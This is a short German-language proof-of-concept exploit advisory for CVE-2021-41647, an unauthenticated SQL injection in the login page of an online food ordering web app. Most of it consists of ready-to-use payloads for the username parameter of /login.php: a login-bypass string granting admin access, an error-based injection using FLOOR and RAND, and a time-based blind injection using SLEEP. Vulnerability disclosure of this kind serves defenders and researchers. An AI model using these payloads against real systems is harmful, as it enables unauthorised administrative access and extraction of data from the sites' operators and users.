
Proof-of-Concept Exploit für unauthorisierte SQL-Injection in Online-Food-Ordering-Web-App, der Login-Bypass und fehlerbasierte/zeitbasierte Blind-Injection-Techniken demonstriert.
CVE-2021-41647 SQL-Injection in Online-Food-Ordering-Web-App
Die Online-Food-Ordering-Web-App ist anfällig für unauthentifizierte Fehler- und zeitbasierte blinde SQL-Injection-Angriffe. Der username-Parameter auf der /login.php-Seite bereinigt die Benutzereingabe nicht, sodass ein Angreifer den Login mit einer einfachen Bypass-Technik umgehen kann.
URL: /login.php
Parameter: username
Um den Benutzer-Login zu umgehen und vollständigen administrativen Zugriff zu erhalten, Payload in das username-Eingabefeld: user' or 1=1-- -
Parameter: username (POST-Anfrage)
Typ: fehlerbasiert
Titel: MySQL >= 5.0 AND fehlerbasiert - WHERE-, HAVING-, ORDER BY- oder GROUP BY-Klausel (FLOOR)
Payload: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf
Typ: zeitbasierte Blind
Titel: MySQL >= 5.0.12 AND zeitbasierte Blind (Abfrage SLEEP)
Payload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf

Jason Colyvas
MOBIUSBINARY
20. September 2021